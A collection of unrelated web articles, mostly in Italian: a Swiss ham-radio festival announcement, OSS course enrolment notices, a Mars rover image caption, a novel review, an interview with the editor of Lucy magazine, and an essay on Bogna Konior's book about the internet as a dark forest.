Die Veranstalter setzen voll auf die Praxis. Funkamateurinnen und Funkamateure sowie technikbegeisterte Gäste können den Live-Funkbetrieb aus nächster Nähe mitverfolgen, Mikrofone in die Hand nehmen und die Atmosphäre spüren. Die Swiss CB Organisation (SCBO) ist ebenfalls präsent, und der Stand von Lutz-Electronics dürfte die Herzen von Technikfans höher schlagen lassen.

Happy Radio Basel vor Ort

Ein weiterer Publikumsmagnet wird das mobile Studio von Happy Radio Basel. Die Radiomacher des DAB+-Senders senden live vom Festgelände via Link über den Sender Chrischona und erfüllen die Musikwünsche der Besucher/-innen direkt vor Ort.

Fuchsjagd und Löten

«Wir wollen den Funk greifbar machen», sagt ein Mitglied des Organisationskomitees. Das gilt ganz besonders für den Nachwuchs. Die Funker/-innen von morgen jagen bei einer Schnitzeljagd mit Empfängern versteckten Peilsendern hinterher oder bauen an der Lötstation ihr erstes eigenes Souvenir zusammen. Wer lieber nach Schätzen aus der Fundgrube oder Ersatzteilen sucht, wird auf dem Flohmarkt fündig.

Kulinarische reiches Angebot

Ganz wichtig: Niemand muss den Tag mit leerem Magen verbringen. Die Küche fährt mit Risotto, Pommes und Grilladen gross auf, flankiert von kühlen Getränken und einem reichhaltigen Kuchenbuffet.

Die Logistik steht. Autofahrer/-innen nutzen die gratis Parkplätze direkt vor Ort. Wer mit der Bahn anreist, steigt am Bahnhof Liestal bequem in den kostenlosen Shuttlebus um, der die Festgemeinde direkt zum Areal bringt.

Flyer zum FACB-Fest

Details zum Flohmarkt

Zu Happy Radio Basel

Published: HB9HGH 2026-07-09 19:21:26

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Operatore Socio Sanitario (OSS): aperte le iscrizioni ai corsi di formazione

Operatore Socio Sanitario (OSS): aperte le iscrizioni ai corsi di formazione

Sono ufficialmente aperti i bandi di selezione ESTAR per i nuovi corsi OSS, anno formativo 2026-2027. I posti totali disponibili sono 476, suddivisi tra le sedi di Empoli, Firenze, Pistoia, Prato e Borgo San Lorenzo. C’è tempo fino al 14 settembre 2026 alle ore 12:00 per presentare la domanda e accedere alla prova scritta.

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Operatore Socio Sanitario (OSS): aperte le iscrizioni ai corsi di formazione

Operatore Socio Sanitario (OSS): aperte le iscrizioni ai corsi di formazione

Sono ufficialmente aperti i bandi di selezione ESTAR per i nuovi corsi OSS, anno formativo 2026-2027. I posti totali disponibili sono 476, suddivisi tra le sedi di Empoli, Firenze, Pistoia, Prato e Borgo San Lorenzo. C’è tempo fino al 14 settembre 2026 alle ore 12:00 per presentare la domanda e accedere alla prova scritta.

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Curiosity Sees Martian Sulfur Up Close

These sulfur crystals were found inside a rock after NASA’s Curiosity Mars rover happened to drive over it and crush it on May 30, 2024, the 4,200th Martian day, or sol, of the mission.

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Ilaria o la conquista della disobbedienza: un mostruoso on the road padre-figlia

“Papà dice che”, “papà mente”, “papà prende una pesca”, “papà non sarà contento”, “papà non è qui”, “papà mi accarezza”, “papà ride”, “papà ha chiamato”… Sono solo alcune delle frasi che concludono i capitoli di Ilaria o la conquista della disobbedienza, romanzo di Gabriella Zalapì pubblicato da Gramma a giugno di quest’anno. Le formule finali dei capitoli sono la chiave di accesso fondamentale per entrare nel libro e coglierne il funzionamento: il papà di Ilaria, la protagonista, è l’asse attorno cui ruotano le sue vicende, come il polo di una calamita che riporta a sé tutto ciò che accade nelle pagine precedenti. Per poter iniziare un capitolo nuovo la protagonista, che scrive una sorta di diario di viaggio sotto forma di romanzo, deve tornare a suo padre, riportare su di lui la macchina da presa e solo allora poter cambiare inquadratura.

Siamo negli anni Ottanta, e quasi tutto il libro è una road story all’interno di una BMW blu scuro. È la macchina del padre di Ilaria che, non accettando la separazione dalla moglie, prende la loro figlia e la costringe a una fuga rocambolesca in giro per l’Italia. Il più possibile nascosti, e con l’intento di ricattare l’ex moglie che Ilaria non può più vedere. 

L’aspetto che rende più interessante il libro di Zalapì è la sensazione di un’infanzia strozzata che pervade tutto il racconto. La leggerezza di Ilaria e la spensieratezza con cui, soprattutto all’inizio, minimizza la fuga di e con suo padre – trovandoci quasi un che di fantastico – si fermano come un singhiozzo a metà della gola e restano lì, senza poter né uscire né scomparire del tutto. La forza della scrittura dell’autrice sta proprio nella capacità di far sentire in modo limpido che quel singhiozzo è strozzato, nel saper immortalare l’infanzia in una fase intermedia tra l’espressione e il soffocamento. Non è una bambina Ilaria, perché viene costretta a fare i conti con le follie degli adulti; ma neanche un’adulta, perché in cuor suo guarda il padre con gli occhi di una bambina innamorata. E il ritratto che ne esce è proprio quello di una figura multiforme: la storia e soprattutto la narrazione riescono a restituire la natura ibrida, incompleta e da entrambi i lati abbozzata di Ilaria – che trova la sua compiutezza solo nella disobbedienza del titolo.  Ad esempio, mentre il padre la rende felice con Birillo, un orsacchiotto di peluche di cui si innamora dalla vetrina, Ilaria pensa “Papà mi strizza la guancia tra l’indice e il medio con sguardo dolcissimo. Quel gesto è come la sua firma sulla mia guancia. Lo ripeterà per due anni e finirò per odiarlo”. E il testo oscilla tra un quadretto d’infanzia e un ricatto inquietante, da una riga all’altra scena dopo scena; tra un dolce viaggio on the road padre-figlia e una minacciosa violenza imposta e stridente.

“Al volante, ascolta con attenzione il cantautore, le note del piano, i violini. E torno ogni sera dove tu stringevi la mia mano. Ed il tuo viso è una sera piena di ombre

Papà non dice più niente. Quando mi volto, vedo che ha le guance lucide, sono piene di lacrime. Vorrei consolarlo ma non so come. Allora gli metto una mano sul braccio. Mi sorride. La mia Principessa… tu sì che mi capisci. 

È la prima volta che mi chiama “Principessa”. 

Accendimi una sigaretta. Mi tremano troppo le mani. 

Protesto. 

Su, non fare tante storie! Prendi una sigaretta e quando avvicini la fiamma dell’accendino, aspira. È facile, prova. 

Obbedisco controvoglia. Sorpresa dal fumo acre in gola, tossisco. 

Sei tutta rossa! Papà ride”

Lo stesso senso di infanzia che resiste nei modi, nei sogni e negli occhi del protagonista ma che al contempo viene interrotto e bloccato dalla violenza di un adulto – un padre, anche in questo caso – lo ritrovo in un libro Sorj Chalandon che in Italia ha tradotto Guanda. Si intitola La professione del padre e, con ancora più brutalità di quella che ho trovato in Ilaria o la conquista della disobbedienza, racconta la storia di un padre che costringe il figlio dodicenne, Èmile, a entrare nella sua organizzazione segreta e combattere perché l’Algeria resti francese nella Francia di de Gaulle. Il fatto che l’uomo possa essere una spia è, probabilmente, frutto di una falsificazione e rielaborazione credulona agli occhi del figlio che confonde continuamente verità e menzogna.

La vita di Èmile, infatti, è un continuo addestramento in nome di un’ideale che, dodicenne, neanche riesce a comprendere, messa in atto per ricevere l’approvazione di un padre che, in quanto figlio, non riesce a mettere in discussione. Nel libro, però, la violenza subita – come quella di Ilaria che viene letteralmente rapita – si mescola alla percezione ingenua del padre come fonte indiscutibile di affetto. In entrambi i casi il risultato sono storie dal sapore dolceamaro, che non accusano in modo perentorio e netto i padri, ma riescono a rielaborare con occhio adulto e a volergli bene nella loro imperfetta – e umana – tendenza a sbagliare. Se Ilaria ed Èmile sono esseri bifronti metà bambini e metà adulti, i due padri risultano a loro volta come figure ibride: sono il papà ma anche l’uomo. E in questa ambivalenza del papà-uomo sta lo spazio per costruire, con la prosa lirica di entrambi i libri, una storia allo stesso tempo di affetto e di denuncia.

Questa fisicità mostruosa dei padri e dei figli mi fa pensare a Eric, una serie tv di qualche anno fa in cui Benedict Cumberbatch interpreta un padre instabile, Vincent Anderson, che, disperato per la sparizione del figlio Edgar di nove anni, lo cerca in tutta New York – soprattutto la parte di città invisibile, povera e malconcia. A partire dalla sua professione di burattinaio, Vincent va alla ricerca di suo figlio insieme a un gigantesco mostro blu. Accanto a Cumberbatch appare una figura animata che rappresenta un disegno di Edgar. Sappiamo che l’infanzia è l’epoca dei mostri, e in qualche modo il mestiere di Vincent lo mantiene in un’area molto vicina a quelle creature che popolano il nostro immaginario quando si è bambini; Eric però – così si chiama il pupazzo peloso – mi sembra anche il simbolo delle dinamiche mutaformi che intercorrono tra padri e figli. È la forma che si può dare a quella cosa indefinita che si chiama relazione. Se Ilaria, Èmile e Vincent dovessero immaginare e disegnare il rapporto con i loro padri, la somma di sé e di quei papà, probabilmente disegnerebbero Eric: un mostro.

“È nervoso. 

È arrabbiato. 

Diventerà cattivo. 

Da qualche settimana, Papà si scalda per niente. Dice che non sopporta l’inverno, che non sopporta la mancanza di luce. A volte, si arrabbia così tanto che vedo volare delle bocce d’acciaio sopra la mia testa. Rabbrividisco e mi tappo le orecchie. 

L’altro giorno, mi ha chiamato Antonia, come la Mamma. 

Ormai, prima di aprire bocca, ci penso due volte. Comincio la frase, lo guardo e se vedo il minimo segno d’irritazione, taccio. 

Rispondi quando ti parlo. 

Esito”. 

Un mostro, però, è anche un pupazzo dell’infanzia che a un certo punto può fare solo tanta tenerezza e poca paura; rielaborare la consistenza di quella figura-simbolo è ciò che Zalapì (come Chalandon) riesce a fare affidandosi alla scrittura. Ecco allora l’epilogo di un altro libro sulla figura ingombrante del padre, visto come uomo fallibile ma anche causa di tanta difficoltà e dolore. Si intitola Baba, è pubblicato da Accento e l’autore, Mohamed Maalel, tiene insieme – proprio come fa Zalapì – nel fulcro della figura paterna tutti gli altri temi del libro che in questo caso sono l’emigrazione, la doppia patria, l’integrazione, la religione, le violenze patriarcali, i traumi del passato. Proprio alla fine scrive una lettera a suo padre, e si lega bene al sentimento che emerge da Ilaria o la conquista della disobbedienza e da La professione del padre soprattutto in questo estratto: “baba, non credo serva una redenzione per diventare buoni. Ho compreso dalla vita che esistono padri buoni e padri sfortunati”. E poi, come probabilmente direbbero anche Ilaria ed Èmile, “ti ho voluto bene, ma ti ho anche odiato”. La lacerata contraddizione del sentimento che non sa da che parte stare, che evita di irrigidirsi in una posizione schierata ma restituisce con autentica onestà la coesistenza degli opposti, è quello che rende i libri di cui stiamo parlando storie plastiche e spigolose all’opposto di una narrazione piatta, giudicante e polarizzata.

Ilaria o la conquista della disobbedienza, con la sua forma rapida e diretta, trasforma la vicenda di una bambina che subisce le scelte dissennate di suo padre in una storia. Non è la colpa dei padri ma la storia di ogni uomo che è anche padre a essere raccontata dagli occhi di questi figli feriti e per questo capaci di essere personaggi profondi e portavoci della complessità dei fatti che hanno prima vissuto e che ora, in prima persona, narrano. In questo modo l’ultima frase di Baba ha pienamente senso: “baba, avrei dovuto scriverti una lettera. Ti ho scritto una storia”. Una lettera contiene solo un messaggio da far arrivare al destinatario, che deve essere letto in un modo univoco: è la sua forma di comunicare un’informazione. Una storia è una  narrazione che, al contrario dell’informazione, non comunica nulla di definito ma lascia spazio alla percezione soggettiva e alla reinterpretazione. In questa differenza tra la comunicazione informativa e la narrazione sta il pregio di Ilaria o la conquista della disobbedienza. Potrebbe essere un fatto di cronaca ripercorso su un giornale, riassumibile in una storia vera descritta con i dispositivi informativi del giallo; invece, è il romanzo di una fuga imprevista, incompresa e a tratti anche inconsapevole che non ha interesse a ricostruire la vicenda ma esplora le dinamiche relazionali, slabbrate e contraddittorie che animano il rapporto tra un padre e sua figlia. Anche quando per liberarsene deve disobbedirgli.

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Per una storia delle riviste culturali online: Lucy (2023)

Lucy sulla cultura nasce a inizio 2023, quando io e le mie colleghe di Stanca stavamo seguendo la Scuola del Tascabile. In quei mesi ci conoscevamo e scoprivamo le riviste culturali, lontanissime galassie astratte e oscure. La sensazione generale era che l’editoria fosse morta, le riviste fossero morte, eravamo arrivati in ritardo. La fatica era capire un mondo che non vedevamo e che ci sembrava non fosse tangibile e in movimento. L’idea che dietro alle riviste ci sono delle persone a cui piace leggere i nostri stessi libri, andare ai concerti, fare serata, steccare le sigarette non ci passava proprio per la testa. Poi a un certo punto, nel giro di qualche mese, due nuove riviste culturali nascono da zero. Lucy sulla cultura con una redazione di trentenni che vengono dalle esperienze di Vice, podcast con a capo Nicola Lagioia e Snaporaz (di cui abbiamo già parlato) con a capo Filippo D’Angelo e Gianluigi Simonetti. La cultura aveva improvvisamente delle fattezze umane, conoscevo Irene Graziosi dal progetto di Venti e per la serie di interviste La prima volta, Matteo Grilli e Giada Arena avevano scritto pezzi per Vice che avevo letto negli anni, Nicola Lagioia aveva da poco pubblicato La città dei vivi che era apparso ovunque. Avevo ascoltato anche il podcast un po’ macchiettistico ma vividissimo tratto dal suo libro. Per un breve periodo ho pensato dai, se lo fanno loro, forse possiamo farlo anche noi. Non avevo ancora sentito parlare di piani editoriali, finanziamenti a fondo perduto, bandi europei, bilanci. Il mondo della cultura era tutto da scoprire. 
Sono passati poco più di tre anni dalla nascita di Lucy. Oggi non è solamente una rivista culturale ma si è espansa a macchia d’olio: pubblicazioni editoriali, agenzia di comunicazione, corsi di formazione e un nuovo progetto di rivista, Lucy sui mondi, completamente dedicato alla scienza. Per fare una cronistoria della storia di Lucy mi incontro con Irene Graziosi, editor della rivista fin dalla sua fondazione. 

Come nasce l’idea di Lucy?
L’idea è nata molto prima della messa online. Inizialmente si sono incontrate le visioni di Paolo Benini, proprietario e presidente di ADD, Nicola Lagioia e Giorgio Gianotto. Il tempo dei blog culturali era finito, la cultura viveva principalmente sugli inserti culturali e pochi magazine online che però raramente sfruttavano altri formati oltre a quello scritto. Ed era anche il momento in cui fiorivano tantissimi progetti sui social, tipo Will, tante cose diverse, soprattutto rispetto ai linguaggi. 

E tu come ci entri?
Mentre loro avevano quest’idea, io lavoravo ancora per Venti (il progetto Youtube nato da un’idea di Sofia Viscardi) e andai a intervistare Nicola per un’uscita della rivista. A lui piacque molto la “leggerezza” produttiva della faccenda – eravamo in tre con una camera e un microfono, molto agili. Credo che questa cosa, per lui che era forse più abituato a interviste un pochino più pesanti come produzione, lo avesse colpito. Quindi mi chiese di collaborare al Salone del Libro di Torino gestendo una striscia quotidiana su YouTube. Avevamo pensato a una sorta di salotto letterario in cui gli scrittori venivano a decomprimere il casino del salone in un ambiente informale. Era il 2021, l’edizione live di ottobre dopo la chiusura causa Covid. 

Come si mette insieme la squadra?
Poco tempo dopo quella collaborazione, Nicola mi disse che voleva incontrarmi a Milano insieme a Giorgio Gianotto e a Maddalena Cazzaniga che è la fondatrice di Babel, un ufficio stampa culturale, che lavorava anche al Salone e che era una collaboratrice di fiducia di Nicola. Mi dicono che con Paolo Benini, che ne sarebbe diventato presidente, avrebbero voluto fondare un progetto culturale multimediale. A quel punto servivano delle persone per farla – persone giovani che avessero un po’ di esperienza con i vari formati. Quindi chiamai un po’ di persone che ritenevo adatte: c’era Giada Arena, che era molto ferrata sui podcast, ma in generale poi ha fatto anche tutta la parte di strategia social. Emiliano Ceresi, che è tutt’ora da noi, un editor molto bravo, filologo, aveva un occhio sicuramente più sensibile rispetto agli altri sulla letteratura. Lorenzo Gramatica, che è veramente bravissimo e di fatto in questo momento è forse diventato la colonna portante a livello di responsabilità editoriale di Lucy – lui lavorava in pubblicità, quindi era anche una persona che sapeva lavorare con una disciplina veramente ferrea, che è una cosa rara in questo mondo. Più di recente, ma oramai neanche così di recente, è entrato Nicola Cosentino, che era un nostro bravissimo autore e ci piaceva molto il suo sguardo sul mondo e il suo aplomb, così non abbiamo avuto dubbi quando abbiamo dovuto chiamare qualcuno a lavorare con noi. Un grande. Ed è stato anche molto bello vedere invece crescere alcune persone che sono arrivate da noi molto giovani, come Irene Moro ed Elena Sbordoni, che in poco tempo sono diventate fondamentali e abbiamo proprio visto quanto sono cresciute sia come donne che come lavoratrici.  

Quando avete smesso di immaginarla e avete iniziato a farla davvero?
Abbiamo vissuto il 2022 vedendoci almeno uno o due weekend al mese, per fare degli esercizi d’immaginazione che però ci sono serviti a conoscerci; perché ovviamente immaginare è molto diverso da vedere una cosa realizzata davvero. Da settembre 2022 abbiamo mollato i nostri lavori, ci hanno fatto dei contratti e abbiamo iniziato a lavorare quotidianamente a questa cosa per davvero.

Snaporaz nasce nello stesso periodo. Come vi siete differenziati?
Io sono abbonata a intermittenza a Snaporaz, mi piace molto quello che fanno, è rinfrescante leggere articoli di critica così trasparenti di questi tempi. Sono stati bravi a creare un’identità molto precisa, che probabilmente rispecchia le personalità dei suoi creatori. Nel nostro caso credo che  l’identità si sia creata man mano attraverso anche le idee di tutte le persone che hanno fatto parte della rivista o che ancora ne fanno parte, quindi c’è sempre una mediazione – che spesso risulta anche da litigate varie. Poi l’identità è una cosa che si crea con il tempo, quando “fai” la rivista ti rendi conto di che cosa vuoi pubblicare, chi ti piace, chi sono i tuoi autori.

Lucy nasce come una rivista con formato “magazine”, ogni mese si approfondisce un tema diverso. Perché questa scelta?
All’inizio è stata probabilmente una strategia che  metteva al sicuro: è rassicurante avere un tema perché magari non hai ancora degli autori fedeli e non sai neanche benissimo come si fa una rivista che ancora non esiste, non sai cosa significa gestire il flusso dei pezzi, l’attualità. È bello avere questi pezzi mensili a tema perché sono anche più profondi, trattati meglio a livello grafico, c’è una cura diversa. Però è molto complicato, perché ovviamente è una sezione in più a cui prestare attenzione, devi lavorare anche su temi non di attualità, devi essere tu a pensare ad autori che hanno scritto qualcosa sul tema magari anche molti anni fa. Una cosa che abbiamo fatto di recente è slegare la lezione video (Lucy ha anche un canale Youtube con vari approfondimenti e un format intitolato “Lezioni” in cui si approfondisce una tematica attraverso la lezione di un ospite) dal tema del mese. Soprattutto perché escono un milione di saggi interessanti e non possiamo ogni volta pensare a qual è l’unico saggio uscito sullo specifico tema del mese, se quella persona saprà parlare in pubblico, se le va di farlo, se è ancora viva. E poi il tempo passa, un po’ di temi sono stati fatti, bisogna inventare sempre cose nuove.

Lucy nasce come una rivista gratuita, ma ha sempre messo in chiaro che sarebbe diventata  a pagamento. Quando si parla di riviste mi sembra che il mondo si spacchi a metà: le riviste (e le fanzine) più punk e libere ma che non pagano gli stipendi e quelle più “istituzionali” e che rendono la cultura un lavoro. È anche vero che manca un sostegno strutturale per le riviste, sono quasi completamente assenti bandi pubblici o fondi statali che le sovvenzionino, rendendo complessa la sostenibilità di realtà più piccole o senza finanziatori iniziali. Lucy mi sembra nata già con un programma di business alla mano. 
La parte business c’è stata fin dall’inizio e Deborah Sgrò ne è a capo. Noi non viviamo solo degli abbonamenti, Lucy è diventata in poco tempo una galassia piuttosto complessa. Abbiamo la parte business, i corsi, l’abbonamento, i festival – l’ecosistema si è espanso come aveva progettato che succedesse fin dall’inizio Paolo Benini. Lui voleva creare questa realtà culturale vasta. Io sono una grande pagatrice di abbonamenti ai giornali, alle riviste – mi viene naturale pagare per il New Yorker, il NYT, la Paris Review. A volte accendo e spengo gli abbonamenti, però ecco, cerco di sostenere i lavori che mi piacciono. In Italia c’è sempre questa idea per cui la cultura deve  essere gratis. È un’idea bellissima, io per esempio di Roma adoro l’infinita quantità di eventi culturali gratuiti nei Municipi sostenuti dal Comune, ma come dici tu, se non ci sono sovvenzioni come li paghi gli stipendi? Nel mondo culturale questo degli stipendi è un tema. Poi nel nostro caso c’è una persona, Benini, che ha fatto questo grande investimento iniziale credendo in un progetto che non esisteva. È legittimo che ci voglia rientrare. I finanziamenti pubblici sarebbero ovviamente un sogno, ma direi che dovendo scegliere a chi dare soldi, in un Paese come l’Italia, mi auguro vengano prima sanità pubblica, la scuola e via dicendo.  

Volevo chiederti anche del rapporto tra rivista e social. Mi sembra che Lucy, fin da subito, si sia posizionata sui social in maniera forte. L’identità è precisa, colorata, adatta anche per la Gen Z. 
Questo è merito principalmente di Giada Arena, che ha dato un’impostazione iniziale, è molto brava. Dovendo usare i social, li volevamo usare anche bene. Però è una trappola: da una parte portano pubblico, dall’altro ci sono tutte le limitazioni – parole che usi, titoli, quanto può stare, quante lingue puoi usare.

Quello che funziona sui social funziona anche sul sito?
Non c’è quasi nessuna correlazione tra un post che viene molto letto e un articolo che viene molto letto. Magari un articolo ha tre commenti e fa 70.000 views, e viceversa. Ci sono post che parlano di temi che tirano sui social, tipo, che ne so, il femminicidio, e quindi ci sono tantissimi commenti, ma l’articolo lo leggono in tremila. Penso che spesso le persone non sappiano nemmeno che un post corrisponde a un articolo. È difficilissimo prevedere che cosa andrà davvero bene.

Come scegliete cosa pubblicare?
Buona parte degli articoli li commissioniamo noi come redazione — questo tema è interessante, chi ne può scrivere? Ci arrivano proposte alla mail, tantissime. In questo caso se e il tema ci interessa ma non conosciamo l’autore diciamo: “Se vuoi scrivilo ma non è detto che lo pubblichiamo”. Però molti dei pezzi che escono sono pensati originariamente dalla redazione.

E per i numeri tematici? Chiamate voi gli autori?
Per il monografico scegliamo il tema, poi chi chiediamo come ci interessa che sia analizzato, vediamo cosa ci viene in mente e alla fine pensiamo agli autori. Di solito gli autori a cui pensiamo sono quelli di cui ci fidiamo molto. C’è Paola De Angelis che è bravissima, con dei pezzi che praticamente non devo toccare. Pacifico sta scrivendo una serie di pezzi per noi che sono davvero belli. Lucia Tozzi anche è una nostra autrice affezionata, così come Eleonora Dragotto, Nadeesha Uyangoda, Rosella Postorino… ovviamente c’è tutta una parte di autori più giovani che cerchiamo di crescere, però la facciamo con attenzione: una cosa è avere un pezzo che ti prende tre ore di lavoro, una cosa è avere un’andata e ritorno che te ne porta via otto. E se hai quaranta pezzi oltre al resto bisogna imparare a dosare le energie.

Quanto pesa quello che piace a te su quello che esce?
Io commissiono anche quello che mi interessa – cos’è che leggo sui giornali che cattura la mia attenzione e che può essere ampliato, eventuali fenomeni che mi fanno porre delle domande. Dopo che ho avuto un figlio, abbiamo fatto un mucchio di pezzi sulla maternità, sull’allattamento, perché mi interessavano. Un po’ mi dispiace essere l’unica donna in redazione, secondo me questa cosa fa sì che ci siano meno articoli orientati a un pubblico femminile. Prima con Giada ci pensavamo almeno in due. In generale adesso ci vediamo anche meno, inizialmente avevamo un ufficio a Milano perché vivevamo praticamente tutti lì ed era comodo avere un luogo di riferimento e di scambio. Poi ci siamo sparpagliati, la redazione è un pochino cambiata, quindi finisce che ci vediamo in call oppure in presenza ma più di rado. 

Lucy sarà ancora rilevante tra dieci anni?
Dipende da quanto sei in grado di evolverti e quanta voglia hai di farlo. Le cose cambiano e cambiando si diventa un’altra cosa, e quella cosa può essere ancora rilevante. Mi chiedo più che altro quanto sarà rilevante la cultura tout court! Leggeremo ancora? Saremo ancora interessati ai film? I social ci rincoglioniranno completamente? Gli articoli diventeranno definitivamente delle card? Riceveremo sempre più pezzi scritti con le AI (succede di continuo) e smetteremo di accorgercene? Il problema è che la cultura cambia e cambiano i modi di fruirne e quindi magari Lucy sarà ancora rilevante ma in una riserva indiana sempre più piccola. O magari invece, se vogliamo essere ottimisti, ChatGPT partorità una nuova versione di se stessa che prenderà possesso di internet e manderà in vacca i social e ci ordinerà di leggere dei libri e poi si autodistruggerà e torneremo tutti a essere alfabetizzati. 

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Oggetto digitale non identificato. Su “Internet è una foresta oscura” di Bogna Konior

Ora è ufficiale: siamo in minoranza. Lo scorso 3 giugno Matthew Prince, fondatore e CEO di Cloudflare, ha annunciato in un tweet che il traffico internet generato da bot ha superato quello umano. Ha aggiunto che la cosa è accaduta più velocemente del previsto: stimava che il sorpasso non sarebbe avvenuto prima del 2027. Andando sulla relativa pagina di Cloudflare radar (piattaforma che mostra in tempo reale una gran quantità di dati relativi all’utilizzo di internet a livello globale) si possono osservare in diretta le quote di traffico generate da esseri umani e bot: nel momento in cui sto scrivendo (seconda metà di giugno 2026) stiamo sul 59% di traffico robotico (tra bot, crawler, scraper, e altri agenti IA) contro il 41% umano. Ma esistono anche bot ormai in grado di non farsi passare come tali, è dunque probabile che le reali – e non monitorabili – percentuali siano ben più sbilanciate. 

Siamo in minoranza. Pensavamo che internet fosse casa nostra (del resto passiamo un sacco di tempo al suo interno) e invece è un pianeta alieno, in cui si muovono, per lo più non percepiti né percepibili, i veri abitanti autoctoni: entità altre di cui non sappiamo quasi nulla. 

Ecco, “non ne sappiamo quasi nulla” dovrebbe essere sempre il punto di partenza quando pensiamo al web. Possiamo passare ampie porzioni delle nostre giornate online, possiamo postare, scrollare, commentare continuamente, ma di come funzioni la rete davvero, di cosa ci si muova sotto le superfici opache delle interfacce, la maggior parte di noi sa pochissimo e nessuno sa tutto. Contemporaneamente  internet  è talmente presente nella quotidianità da essere diventato una componente essenziale dell’esistenza, un’impalcatura delle nostre vite e anche dei nostri pensieri, l’acqua nella quale nuotiamo. Si potrebbe dire che siamo in rapporto con internet come siamo in rapporto con l’universo: ci siamo immersi, è intorno a noi e pure dentro di noi, ma non lo conosciamo. E come l’universo, anche internet è anzitutto un problema filosofico.   

Ora, negli ultimi anni di saggi sul web non ne sono certo mancati. Ma a prevalere fino ad oggi è stata una trattazione di internet come infrastruttura: analisi della sua architettura materiale, dei suoi effetti socio-politici o di quelli psicologici o culturali. Più rare sono le teorie filosofiche di internet che ci possano aiutare a pensarla nel suo complesso, anche dove la nostra comprensione razionale non riesce ad arrivare. Teorie che (saggisticamente) partano dall’incomprensione, che si pongano davanti al loro oggetto come a un mistero che si può per lo più solo sondare o fare oggetto di speculazione. Chiaramente da un approccio simile non si può chiedere la verità su internet, cioè una immagine fedele, verificabile, esauriente del fenomeno, quanto delle intuizioni capaci di contribuire a riplasmare il nostro modo di intenderlo. Insomma, se internet è come l’universo, abbiamo bisogno anche di teorie che ne siano una descrizione mitologica: non ci riportano una verità fattuale, ma ci forniscono immagini che ci permettano di pensarlo. 

(Potrebbe esserne un esempio la Dead Internet Theory: una teoria, che circola dal 2021, a metà tra il meme e l’ipotesi di complotto, secondo cui quasi tutto quello che vediamo su internet è generato da intelligenze artificiali. Tutto il web sarebbe quindi una immensa simulazione, in cui crediamo di interagire con i nostri simili ma invece siamo soli, circondati da finzioni manipolatorie. Non è ovviamente credibile in senso letterale, ma visto il dato sulla crescita del traffico di bot di cui sopra e la crescente quantità di contenuti generati con IA in cui ci imbattiamo navigando – nonché una certa “automatizzazione” anche del comportamento degli utenti umani sotto la pressione degli algoritmi – la teoria può iniettarci quel giusto grado di paranoia che oggi non guasta nel rapportarci con quello che troviamo online. Tu che leggi queste righe, sei sicuro che siano scritte da un essere umano? Dovresti almeno porti la domanda). 

Su questa linea si posizionano le teorizzazioni di Bogna Konior, studiosa polacca di Media Theory alla NYU di Shanghai. Nel suo Internet è una foresta oscura (da poco pubblicato in italiano da Nero, nella traduzione di Simone Sauza) il tentativo mi sembra proprio quello di gettare le basi di una teoria “mitopoietica” di internet, attingendo proprio da una mitologia moderna: quella degli UFO. «L’ufologia come cornice per pensare internet» è appunto l’idea fondamentale annunciata nelle prime pagine, nella convinzione che «al di là delle loro comuni origini moderne, internet e ufologia si incontrano sotto molti aspetti; in particolare nel modo in cui entrambe hanno a che fare con la comunicazione: tra esseri umani, tra umani e alieni, tra umani e macchine, e tra le macchine stesse». 

Non per nulla, la maggior parte delle fonti citate non provengono da altri studiosi dei media o da esperti di internet, ma da scrittori di fantascienza. Da uno in particolare: Liu Cixin, l’autore della trilogia Memoria del passato della terra (quella che si apre con Il problema dei tre corpi, per intenderci). La teoria della foresta oscura originale compare appunto nel secondo libro della trilogia di Cixin ed è una risposta al celebre paradosso di Fermi riassumibile come “Se l’Universo e la nostra galassia pullulano di civiltà sviluppate, dove sono?”, ovvero se l’esistenza di civiltà aliene sembra avere una probabilità statistica così alta come mai continuano a non esserci prove? 

La risposta della dark forest theory – che si inserisce nell’ampio dibattito intorno al paradosso di Fermi e in parte riprende e rielabora ipotesi già formulate in passato – è che nell’universo esistono civiltà intelligenti, ma proprio perché sono intelligenti restano nascoste, evitano di segnalare la loro esistenza. Perché dal punto di vista della singola civiltà l’universo è una foresta oscura: non si può sapere cosa si nasconde nel buio e farsi vedere potrebbe attirare attenzioni pericolose o apertamente ostili. Comunicare significa sempre esporsi al pericolo e la comunicazione con l’ignoto potrebbe rappresentare il pericolo assoluto: la guerra cosmica e la cancellazione della propria civiltà. Dunque «le civiltà avanzate sanno che il silenzio è l’espressione massima dell’intelligenza». Nei romanzi di Cixin gli umani giungono tardi a questa consapevolezza (non sono, evidentemente, abbastanza evoluti), ma per gli alieni è una verità oggettiva come una legge della fisica: la comunicazione espone al conflitto distruttivo, indipendentemente dal fatto che le intenzioni delle altre civiltà siano malevole o benevole; intenzioni che, del resto, non possono che rimanere oscure. 

È interessante notare che Konior non è l’unica né la prima ad associare la teoria della foresta oscura di Cixin a Internet. In questo senso si tratta di una teoria-meme, un template concettuale che circolando online è stato fatto proprio da più persone e riempito con idee diverse. Il primo ad utilizzarla per parlare di internet è stato probabilmente Yancey Strickler (noto soprattutto per essere stato il fondatore di Kickstarter) in una riflessione pubblicata sulla sua newsletter nel 2019. La sua linea di pensiero avrebbe poi portato nel 2024 alla pubblicazione di un’antologia a cui hanno partecipato diversi autori (intitolata appunto, The Dark Forest Anthology of the Internet). Nella visione di Strickler e di chi ha seguito il suo orientamento la foresta oscura è soprattutto una metafora per delineare una possibile forma di resistenza di fronte ai meccanismi predatori messi in atto dalle piattaforme, dalle big tech e dalle altre forze capitaliste che hanno messo i loro artigli sul web. Per continuare ad avere un internet “sano” bisogna nascondersi, non attirare l’attenzione, abbandonare le grandi piazze delle piattaforme dove gli occhi delle big tech ci osservano incessantemente e succhiano i nostri dati, per rifugiarci in nicchie sicure, costruire e abitare spazi marginali, sotterranei, al riparo dai processi di indicizzazione, ottimizzazione ed estrazione del web mainstream. 

Bogna Konior elabora una sua configurazione della teoria della foresta oscura di internet decisamente più pessimista (ed in questo certamente più vicina allo spirito della teoria originale). La domanda inquietante da cui muove il suo ragionamento è: «Se accettiamo l’assunto di base che i rischi insiti nel contatto superino i benefici come dobbiamo considerare una tecnologia come internet, che ci spinge a comunicare di continuo?».

